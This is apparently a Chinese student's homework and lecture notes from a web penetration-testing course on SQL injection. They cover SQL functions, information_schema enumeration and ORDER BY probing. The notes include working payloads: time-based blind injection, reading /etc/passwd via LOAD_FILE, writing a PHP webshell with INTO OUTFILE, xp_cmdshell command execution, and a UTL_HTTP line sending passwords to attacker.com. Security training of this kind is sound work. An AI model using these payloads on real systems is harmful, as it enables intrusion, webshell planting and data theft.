|
WEB渗透测试工程师系统班20303期 第12节课作业 一、 常用的sql函数有哪些? 一、字符串处理函数 1. CONCAT(str1, str2, ...) 功能:连接多个字符串 渗透用途:合并查询结果,如`CONCAT(username,':',password)` 示例:`SELECT CONCAT('admin',':',MD5('123456'))` 2. SUBSTRING(str, pos, len) / SUBSTR() / MID() 功能:从字符串中提取子串 渗透用途:盲注时逐字符提取数据 示例:`SUBSTRING((SELECT password FROM users),1,1)` 3. LENGTH(str) / LEN() 功能:返回字符串长度 渗透用途:判断字段值的长度 示例:`LENGTH((SELECT password FROM users LIMIT 1))>10` 4. ASCII(char) / ORD() 功能:返回字符的ASCII码 渗透用途:将字符转换为数字进行盲注 示例:`ASCII(SUBSTRING(password,1,1))>97` 5. CHAR(code) 功能:根据ASCII码返回字符 渗透用途:绕过过滤构造字符串 示例:`CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)` → 'admin'
二、数据库信息函数 1. DATABASE() / SCHEMA() 功能:返回当前数据库名称 渗透用途:信息收集 示例:`UNION SELECT DATABASE(),null,null ` 2. USER() / CURRENT_USER() 功能:返回当前数据库用户 渗透用途:判断权限级别 示例:`AND USER() LIKE '%root%'` 3. VERSION() / @@VERSION 功能:返回数据库版本 渗透用途:确定攻击方法 示例:`UNION SELECT @@VERSION,null,null ` 三、条件与逻辑函数 1. IF(condition, true_val, false_val) 功能:条件判断 渗透用途:盲注判断 示例:`IF(1=1,SLEEP(5),0)` 2. CASE WHEN...THEN...ELSE...END 功能:多条件判断 渗透用途:复杂盲注 示例: CASE WHEN (SELECT COUNT( ) FROM users)>0 THEN SLEEP(5) ELSE 0 END 四、时间延迟函数(用于时间盲注) 1. SLEEP(n) (MySQL) 功能:暂停n秒 渗透用途:时间盲注 示例:`IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)` 五、数据聚合函数 1. GROUP_CONCAT() (MySQL) 功能:合并多行结果为单行 渗透用途:一次性提取所有数据 示例:`SELECT GROUP_CONCAT(username,':',password SEPARATOR '<br>') FROM users` 2. STRING_AGG() (SQL Server/PostgreSQL) 类似MySQL的GROUP_CONCAT 示例:`SELECT STRING_AGG(username, ',') FROM users` 六、文件操作函数 1. LOAD_FILE() (MySQL) 功能:读取服务器文件 渗透用途:读取配置文件 示例:`UNION SELECT LOAD_FILE('/etc/passwd'),null,null ` 2. INTO OUTFILE/DUMPFILE (MySQL) 功能:写入文件 渗透用途:写入webshell 示例:`SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php'`
七、系统函数(危险函数) 1. xp_cmdshell (SQL Server) 功能:执行系统命令 渗透用途:获取系统权限 示例:`EXEC xp_cmdshell 'whoami'` 2. UTL_HTTP.REQUEST (Oracle) 功能:发送HTTP请求 渗透用途:外带数据 示例:`SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users)) FROM dual` 八、编码转换函数 1. HEX(str) 功能:转换为16进制 渗透用途:绕过过滤 示例:`SELECT HEX('admin')` → '61646D696E' 2. UNHEX(str) 功能:16进制转字符串 示例:`SELECT UNHEX('61646D696E')` → 'admin' 3. TO_BASE64()/FROM_BASE64() (MySQL) 功能:Base64编码/解码 渗透用途:数据外带 示例:`SELECT TO_BASE64(password) FROM users` 二、 information_schema数据库里面重点应该关注哪些数据表? 1. SCHEMATA表 数据库信息 关键字段: `SCHEMA_NAME`:数据库名称 渗透用途 : 枚举服务器上的所有数据库 示例查询: SELECT SCHEMA_NAME FROM information_schema.SCHEMATA; 2. TABLES表 表信息 关键字段 : `TABLE_SCHEMA`:所属数据库名 `TABLE_NAME`:表名 `TABLE_TYPE`:表类型(BASE TABLE/VIEW) 渗透用途 : 枚举特定数据库中的所有表 示例查询: SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='目标数据库名'; 3. COLUMNS表 列信息 关键字段 : `TABLE_SCHEMA`:所属数据库名 `TABLE_NAME`:表名 `COLUMN_NAME`:列名 `DATA_TYPE`:数据类型 渗透用途 : 枚举表的列结构 查找敏感列(如password,username等) 示例查询: SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='目标数据库' AND TABLE_NAME='users'; 4. STATISTICS表 索引信息 关键字段 : `TABLE_SCHEMA`:数据库名 `TABLE_NAME`:表名 `INDEX_NAME`:索引名 `COLUMN_NAME`:索引列名 渗透用途 : 了解表索引结构 辅助判断主键列 5. USER_PRIVILEGES表 用户权限 关键字段 : `GRANTEE`:被授权用户 `PRIVILEGE_TYPE`:权限类型 `IS_GRANTABLE`:是否可授予他人 渗透用途 : 查看当前用户权限 判断是否具有文件读写、管理员权限 示例查询: SELECT FROM information_schema.USER_PRIVILEGES WHERE GRANTEE LIKE '%当前用户%'; 6. SCHEMA_PRIVILEGES表 数据库权限 关键字段 : `GRANTEE`:被授权用户 `TABLE_SCHEMA`:数据库名 `PRIVILEGE_TYPE`:权限类型 渗透用途 : 查看用户对特定数据库的权限 7. TABLE_PRIVILEGES表 表权限 关键字段 : `GRANTEE`:被授权用户 `TABLE_SCHEMA`:数据库名 `TABLE_NAME`:表名 `PRIVILEGE_TYPE`:权限类型 渗透用途 : 查看用户对特定表的操作权限 8. ROUTINES表 存储过程和函数 关键字段 : `ROUTINE_SCHEMA`:所属数据库 `ROUTINE_NAME`:例程名称 `ROUTINE_TYPE`:类型(PROCEDURE/FUNCTION) 渗透用途 : 查找可能的敏感存储过程 示例查询: SELECT ROUTINE_NAME FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA='目标数据库'; 渗透测试中的典型应用 1. 完整数据库枚举 : SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema NOT IN ('information_schema','mysql','performance_schema'); 2. 查找密码字段 : SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%pass%' OR column_name LIKE '%pwd%'; 3. 判断当前权限 : SELECT FROM information_schema.user_privileges WHERE grantee LIKE CONCAT('%',CURRENT_USER(),'%'); 4. 查找可写目录(需FILE权限) : SELECT variable_value FROM information_schema.global_variables WHERE variable_name='secure_file_priv';
三、 通过information_schema查询库名、表名、以及自己创建的数据表的字段名和具体数据 第一步:创建数据库,加入字段数据
第二步:查询数据库名
第三步:查询表名
第四步:查询字段名
第五步:查询数据
一、笔记标题:WEB渗透系统班-MySQL重要库表学习+重要库表实际渗透
二、文章内容:
1. 课程内容概要
主要知识点1:MySQL 重要库表 SCHEMATA ⾥⾯存放的是所有的数据库的信息 TABLES ⾥⾯存放的是所有的表的信息 COLUMNS ⾥⾯存放的是所有字段的信息 主要知识点2:Information_schema数据库表说明
1、SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
2、TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
3、COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
主要知识点3:Information_schema数据库使⽤ 对于 Information_schema 数据库重点需要了解 schemate , tables , columns 这三张表。 1、查看 schemata 这张表的 schema_name 这⼀个字段 存储整个mysql的库 2、查询数据库版本 Select version(); 3、取库名 Select schema_name from information_schema.schemata;这个命令就和 show databases; ⼀样 4、查看 tables 这表的 table_name 字段 存储的是 每⼀个库的表的名称 5、取表名 Select table_name form information_schema.tables where table_schema='库名'; 6、查看 columns 这个表 column_name 这个字段 存储的是整个库的表的所有字段 7、取字段 Select column_name form information_schema.columns where table_schema='库名' and table_name='表名'; 主要知识点4:sql语句 #查询语句
select user FROM test where id = 1 and pass = "abcd" union SELECT VERSION() #联合注⼊漏洞
#通过⾃带数据获取数据 #获取⽬标的所有数据库名称 select user FROM test where id = -1 and pass = "abcd" UNION SELECT schema_name from information_schema.SCHEMATA #联合注⼊漏洞 实际运用需要转换为同一编码,如下 SELECT user FROM test WHERE id = -1 AND pass = 'abcd' UNION SELECT CONVERT(schema_name USING utf8mb4) COLLATE utf8mb4_general_ci FROM information_schema.SCHEMATA;
#获取⽬标的指定数据库⾥⾯,数据表的名称 SELECT table_name from information_schema.TABLES where table_schema = "yijin"
#获取⽬标的指定数据库⾥⾯,指定数据表的字段名称 SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_SCHEMA = "yijin" and TABLE_NAME = "test"
#获取具体数据 SELECT id from yijin.test SELECT user from yijin.test SELECT pass from yijin.test
2.重点知识与细节
概念1:order by 在渗透测试中,ORDER BY 子句常用于 探测SQL注入漏洞 和 推断查询结构
关键步骤(order by)
步骤1:推断查询结果的列数 原理:通过 ORDER BY N 中的 N 值递增,直到页面出错,确定原始查询的列数。 操作步骤: 尝试 ORDER BY 1 → 页面正常(说明至少有1列)。 尝试 ORDER BY 2 → 页面正常(至少有2列)。
重复直到 ORDER BY 5 → 页面报错,说明列数为4。
步骤2:探测注入点是否存在 原理:通过修改 ORDER BY 的参数值,观察页面排序变化或错误提示,判断是否存在SQL注入漏洞。 示例场景:
假设一个网页的URL参数控制商品排序: 对应的SQL可能为: SELECT * FROM products ORDER BY price; 攻击尝试: 将参数改为非列名的值,观察是否报错或页面异常: 结论: 如果 sort=999 导致数据库错误(如 Unknown column '999' in 'order clause'),则可能存在注入漏洞。 相关代码 无
3.实操练习 和 解析 如作业,暂无问题
4.个人总结
本节课最大的收获是:清楚了mysql的重要的库表,以及看明白了一些实际渗透的场景
仍然存在疑问的地方:更多的渗透测试场景
需要课后深入学习的内容:精通库表以及mysql命令,以及sql语句
|